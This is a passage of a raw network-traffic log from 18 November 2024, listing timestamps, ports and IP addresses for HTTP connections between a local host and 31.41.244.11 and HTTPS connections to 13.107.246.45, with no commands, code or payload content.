Nov 18, 2024 23:04:10.276617050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276650906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276670933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276684999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276695013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276721001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276732922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276763916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276845932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276879072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276899099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276912928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.276916981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.276956081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.277182102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.277215958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.277235985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.277251959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.277256966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.277287006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.277297020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.277333021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.328933001 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.329426050 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.329492092 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.329797983 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.329809904 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.353095055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.353156090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.353190899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.353210926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.353212118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.353282928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.389780045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.389827013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.389887094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.389920950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.389955997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.389961958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.389961958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.389961958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.389961958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.389991999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390001059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390034914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390110970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390167952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390172005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390202045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390216112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390242100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390450001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390485048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390505075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390518904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.390530109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.390568972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396506071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396572113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396641016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396672964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396694899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396714926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396728039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396779060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396780014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396816015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396832943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396851063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396856070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396886110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396894932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396923065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.396936893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.396977901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397455931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397512913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397516012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397547960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397556067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397583961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397598028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397619009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397635937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397655964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.397674084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.397721052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.438551903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.438658953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.438750029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.438785076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.447710991 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.448143005 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.448196888 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.448517084 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.448529005 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.462435961 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.462663889 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.462749004 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.462905884 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.462905884 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.462939978 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.462960958 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.465507030 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.465550900 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.465631962 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.465806007 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.465825081 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.473577023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.473611116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.473627090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.473649979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.473649979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.473690987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510348082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510385036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510427952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510427952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510442019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510478020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510493040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510510921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510516882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510562897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510566950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510601997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510612965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510637045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510648966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510670900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510689020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510704994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510715008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510741949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.510751009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.510785103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516695023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516747952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516756058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516783953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516793966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516829967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516838074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516874075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516887903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516907930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516916990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516947985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.516966105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516984940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.516998053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517033100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517040968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517070055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517076015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517111063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517484903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517518044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517539024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517556906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517569065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517596960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517760992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517796040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.517812014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.517843962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.579229116 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.579652071 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.579724073 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.579781055 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.579781055 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.579819918 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.579849958 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.581978083 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.582012892 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.582079887 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.582176924 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.582191944 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.593796968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.593859911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.593897104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.593908072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.593908072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.593946934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.629909992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.629976988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.629997969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630043030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630054951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630093098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630105972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630130053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630131006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630165100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630177021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630199909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630213022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630235910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630249023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630273104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630292892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630311012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.630316973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.630366087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636482954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636517048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636548042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636558056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636570930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636610985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636717081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636753082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636780977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636790037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636806965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636851072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636908054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.636962891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.636962891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637011051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637022018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637056112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637070894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637095928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637110949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637154102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637537956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637589931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637595892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637633085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637641907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637677908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637837887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637872934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.637890100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.637919903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.638052940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.638102055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.638114929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.638150930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.638160944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.638200998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.694721937 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.695091963 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.695132971 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.695557117 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.695569038 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.714531898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.714569092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.714603901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.714690924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.714690924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.714690924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.749737978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.749823093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.749834061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.749874115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.749888897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.749923944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.749938965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.749958992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.749962091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.749994993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750000000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750045061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750117064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750158072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750257969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750291109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750297070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750327110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750330925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750369072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.750895023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.750933886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756452084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756504059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756508112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756545067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756553888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756587029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756673098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756709099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756720066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756745100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756795883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756831884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756845951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756880045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756880045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756915092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.756916046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.756952047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757277012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757313013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757325888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757349014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757359028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757390022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757390022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757428885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757683992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757716894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757730961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757754087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757762909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757795095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757900953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757935047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757946014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.757976055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.757977009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.758013964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.824631929 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.824700117 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.824923038 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.824923038 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.824923038 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.826791048 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.826865911 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.827055931 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.827189922 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.827224970 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.827765942 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.828020096 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.828032970 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.828351974 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.828357935 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.834151983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.834297895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.834381104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.834414959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.834425926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.834458113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.869954109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870012999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870049953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870085955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870095968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870095968 CET	49794	80	192.168.2.4	31.41.244.11
